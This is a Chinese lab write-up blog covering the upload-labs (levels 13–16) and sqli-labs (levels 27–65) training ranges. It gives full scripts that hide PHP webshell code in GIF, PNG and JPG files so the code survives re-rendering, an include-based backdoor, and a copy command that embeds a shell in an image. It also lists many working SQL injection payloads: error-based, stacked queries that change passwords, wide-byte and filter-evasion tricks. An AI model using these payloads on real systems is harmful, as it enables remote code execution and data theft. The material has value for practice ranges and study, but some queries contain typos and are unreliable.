十六看懂了


前记

upload-labs,是一个关于文件上传的靶场.具体的write-up社区里也都有文章.
不过我在看了pass-16的源码后,发现了一些有意思的东西.

分析问题

关于检测gif的代码

img

第71行检测$fileext$filetype是否为gif格式.

然后73行使用move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败.

在这里有一个问题,如果作者是想考察绕过二次渲染的话,在move_uploaded_file($tmpname,$target_path)返回true的时候,就已经成功将图片马上传到服务器了,所以下面的二次渲染并不会影响到图片马的上传.如果是想考察文件后缀和content-type的话,那么二次渲染的代码就很多余.(到底考点在哪里,只有作者清楚.哈哈)

由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片.

我看过的writeup都是直接由move_uploaded_file函数上传的图片马.今天我们把move_uploaded_file这个判断条件去除,然后尝试上传图片马.

上传gif

<?php phpinfo(); ?>添加到111.gif的尾部.

img

成功上传含有一句话的111.gif,但是这并没有成功.我们将上传的图片下载到本地.
img

可以看到下载下来的文件名已经变化,所以这是经过二次渲染的图片.我们使用16进制编辑器将其打开.
img

可以发现,我们在gif末端添加的php代码已经被去除.

关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了.

经过对比,蓝色部分是没有发生变化的,
img

我们将代码写到该位置.
img

上传后在下载到本地使用16进制编辑器打开
img

可以看到php代码没有被去除.成功上传图片马

上传png

png的二次渲染的绕过并不能像gif那样简单.

png文件组成

png图片由3个以上的数据块组成.

PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们.

数据块结构
img

CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

分析数据块

IHDR

数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

文件头数据块由13字节组成,它的格式如下图所示。
img

PLTE

调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

IDAT

图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND

图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:

00 00 00 00 49 45 4E 44 AE 42 60 82

写入php代码

在网上找到了两种方式来制作绕过二次渲染的png木马.

写入PLTE数据块

php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可.

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像.

  1. 在PLTE数据块写入php代码.
    img
  2. 计算PLTE数据块的CRC
    CRC脚本
1
2
3
4
5
6
7
8
9
10
11
12
import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

运行结果

1
526579b0

3.修改CRC值

img

4.验证
将修改后的png图片上传后,下载到本地打开
img

写入IDAT数据块

这里有国外大牛写的脚本,直接拿来运行即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行后得到1.png.上传后下载到本地打开如下图

img

上传jpg

这里也采用国外大牛编写的脚本jpg_payload.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

使用方法

准备

随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg.

插入php代码

使用脚本处理1.jpg,命令php jpg_payload.php 1.jpg
img
使用16进制编辑器打开,就可以看到插入的php代码.
img

上传图片马

将生成的payload_1.jpg上传.
img

验证

将上传的图片再次下载到本地,使用16进制编辑器打开
img

可以看到,php代码没有被去除.
证明我们成功上传了含有php代码的图片.

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.

https://xz.aliyun.com/notice)

转载自https://xz.aliyun.com/t/2657#toc-7 实在是看不懂之后再研究一下

链接:https://pan.baidu.com/s/1mkiyUkiwLtPN9_y_sPGXBA 提取码:aaaa

其实这关就是要绕过二次渲染 然后用十六进制编辑器编辑一下

先找一下上传到服务器上的图片和本地图片不变的代码是那一部分然后就可以把后门代码编辑进去就可成功上传

链接里的文件是大佬 o(^▽^)┛已经制作好了的图片可以直接使用

然后配合漏洞菜刀使用即可

uplolalabs'13 14 15

第十三关 需要上传一个图片马 但是呢要图片马可以使用必须得服务器先能解析图片马

那么就得先上传一个简单的漏洞aaa.php 这个是漏洞代码

1
2
3
4
<?php
$file = $_GET['file'];
include $file;
?>

这个代码的意思是需要引用其他的应用程序然后它也不管是什么全当成php来解析

然后需要往一个jpg里面嵌入后门代码 放图片和代码的位置cmd

copy 1.jpg/b + 1.php/a 2.jpg 合并后会生成一个2.jpg 或者也可以直接嵌入1.jpg 这个/b 指定以二进制格式复制 /a指定以ASCII格式复制 图片不能用ascii复制不然到时候生成的图片打不开

然后上传上去会被改名字burp可以看见被改后的名字 和储存的路径在这里插入图片描述

然后就是用菜刀连接一下了

http://127.0.0.1/upload-labs/aaa.php?file=upload/4320181108192653.png 就还挺快的除了需要解析这一步

十四关 和十三差不多只是检测不一样 十三检测开头两个字节就是图片以记事本打开后的前三行可以只保留前三行然后其余全部删掉换成后门文件

十四没法这么干好像 这个是getimagesize检查那就只能用那个cmd的嵌入法 其余和十三一样了

十五 和前面差不多换成exif_imagetype的检查函数

sqlilabs 50 51 52 53 54 55 56 57 58-65

50 51 这两关是堆叠注入没什么差别好像除了51有个单引号

52 53 又关闭了报错 然后堆叠也可以弄一弄 用sqlmap 直接解决

54 单引号 55括号 56 ‘) 57” 54-57这几关有次数限制 然后和之前用union select 的一样就获取数据的

要获取的是secret_(后面这串是随机的) 这个列里头的数据 获取玩提交一下就可以了

58 先随便试一试 存在报错信息 而且union select的没有回显只好用报错了

?id=0’ and updatexml(1,(select concat(1,(select table_name from information_schema.tables where table_schema=’challenges))),1) –+ 查表

?id=0’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’mz8xr9yz2a’),0x7e),1)–+ 查列

?id=0’ and updatexml(1,concat(0x7e,(select secret_VP4R from challenges.mz8xr9yz2a),0x7e),1) –+ 查到数据提交就ok了

59数字型?id=0 其余同上一关

60 ?id=0”) 61 ?id=0’))

62关了报错 但是存在明显延迟时间盲注 那就用sqlmap吧 62手动注入’)

63 手动注入的话单引号闭合

64 俩括号

65双引号加个括号 这几关都是时间盲注 用sqlmap吧

sqlilabs 46 47 48 49

46 数字型注入?sort=1 即可

用报错注入吧 updatexml

?sort=1 and updatexml(1,oncat(‘|’,(select group_concat(schema_name)from information_schemata.)),1) 爆数据库 太多了显示不下

限制一下?sort=1 and updatexml(1,concat(‘|’,(select group_concat(schema_name)from information_schema.schemata limit 0,1)),1) 从第一个开始显示一次显示一个 limit 0,1 更0就可以

?sort=1 and updatexml(1,concat(‘|’,(select group_concat(table_name)from information_schema.tables where table_schema=’security’)),1) 爆表

?sort=1 and updatexml(1,concat(‘|’,(select group_concat(column_name)from information_schema.columns where table_schema=’security’ and table_name=’users’)),1) users表的列

?sort=1 and updatexml(1,concat(‘~’,(select concat_ws(‘|’,id,username,password)from security.users limit 0,1)),1) 爆数据

47 就sort=1’ 多一个单引号

48 49 关闭了错误回显 没办法用报错注入了 要么盲注 要么神奇的sqlmap

复制一下地址后面加个sort=1 剩下的和之前的用id的一样了

sqlilabs 38 39 40 41

这几关都是堆叠注入的

38关是堆叠注入就类似于一条命令里头执行两个操作

先来个?id=1 Dumb Dumb (字符型)

字符型的那么就?id=1’;(和mysql执行完一条指令后一样以;结尾 )update users set password=’(自己设置)’ where username=’Dumb’; –+

之后再执行一下?id=1就会发现变成Dumb (自己设置)

39 也是堆叠注入 这关是数字型 那么就简单点

?id=1 然后?id=1;insert users values(21,’aaa’,1212’) 直接新增一个用户

?id=21 就可以查看到新增加的用户信息

40闭合方式为?id=1’)

41没有报错然后和39一样数字型

这几关的语句都可以一起用每一关都可以改密码创建新用户 。

sqlilabs 42 43 44 45

42之后这几关是post型的那么burp开启

admin 111111登录 抓包send to reperter 用堆叠注入修改admin的密码

在这里插入图片描述

这关是单引号 42’)闭合 但是得先登陆成功就是了在这里插入图片描述用上面那关修改的密码

44 和42一样只是关闭了报错 45 和43一样 关闭了报错注入

sqlilabs 34 35 37

a这关和上面一样只不过get变成post 那就用burp

先随便输一个username 和password 抓包 改包

uname=aaa&passwd=aaa&submit=Submit 对这一串进行更改

uname=aaa%df’ union select 1,database() –+&passwd=aaa&submit=Submit 还是需要打上%df 就可以了

之后还是那套组合拳

group_concat(table_name) from information_schema.tables where table_schema=’database()’ –+

35和34 凑一凑吧 毕竟35真的不多的内容

这关就是数字型注入了那么反斜杠的过滤就没用了 直接?id=1 union select 1,2,3 –+ 然后就是标准组合拳

一套下来 就可以了

37和34一样 是我弄错什么了?

sqlilabs 32 33

32很神奇 输入单双引号 或者加上括号都会出现img这么个情况 被加上了个斜杠 被注释掉了

这归功于php的preg_quote函数的功劳

这个需要参数str(输入的字符串)并向其中每个正则表达式的字符前面加个反斜杠

代码长这样

function check_addslashes($string)
{
$string = preg_replace(‘/‘. preg_quote(‘\‘) .’/‘, “\\\“, $string); //escape any backslash
$string = preg_replace(‘/'/i’, ‘\'‘, $string); //escape single quote with a backslash
$string = preg_replace(‘/"/‘, “\"“, $string); //escape double quote with a backslash

return $string;

}

字符集编码设置为gbk可使用宽字节注入

尝试%df 反斜杠是%5c 那么就会变成一个整体%df5c mysql认为前两个字符为汉字 (其实浏览器的字符编码不设置也没差就显示一个乱码而已看着有点怪而已) 然后单引号就可以逃脱出来了

?id=0%df’ union select 1,2,3 –+ 测显位

然后?id=0%df’ union select 1,2,database() –+

接下去就是那套组合拳 很容易了

爆表名字那些的时候table_schema=’security’ 这个单引号也滤掉了 但是用%df’ 前头的逃出来了 后头那个没有

那么就再简单些= database()

爆列的时候也可直接还是用 table_schema=database()

33和32一样只不过换成了addslashes()函数 用的语句都是一样的

sqlilabs 29 30 31

这关拥有很强大的防火墙

所以需要使用http参数污染 通在这里插入图片描述

过在http请求中插入特定参数发起攻击 原理差不多是这样

后端是apache 那么吧参数放在后面 即可 传递两个id 前者合法后者为想要注入的内容

?id=1&id=-1’ union select 1,2,3 –+ 显位

?id=1&id=-1’ union select 1,2,database() –+ 数据库

之后就是一顿操作组合拳 就可以了和之前的一样的语句

30的话双引号就ok了 没别的什么区别了

31就双引号加括号 就可以了

sqlilabs 27 27a 28 28a

a这关过滤了union 和select UNION SELECT Union Select 但是并没有过滤掉所有的可以书写的情况

所以 unION selEct这样子的还是可以使用的 还过滤了空格 用%0a替代

或者双写 unionunion selectselect 还有这关采用了 正则表达式负号用不了就只好用0或者666之类的

?id=0’%0aunION%0aselECT%0a1,2,3||’1’=’1 (||这个可用and或者or替代都行)

测显示位 loginname 2 password那边显示1

所以 ?id=0’%0aunION%0aSELECt%0a1,database(),3||’1’=’1 数据库

?id=0’%0aunION%0aSELECt%0a1,(selECT%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=’security’),3||’1’=’1 爆表名

?id=0’%0aunION%0aSELECt%0a1,(selECT%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name=’users’),3||’1’=’1 爆users表内的列名

?id=0’%0aunION%0aSELECt%0a1,(selECT%0agroup_concat(username,’|’,password)%0afrom%0users),3||’1’=’1 获取数据

ok 27关结束

27a不知道为什么%0a用不了 用)这个替代也可以还有?id=0’ 单引号换双引号

28就?id=0’) 多个括号 还有没法像27那样有的大写小写绕过 还有就是相连的union select 就双写绕过嘛 unionunion%0aselect%0aselect 还有就是末尾闭合用;%00

28a 空格过滤没掉了那就不用%0a了 就和上面的一样的语句

井号被过滤可用%23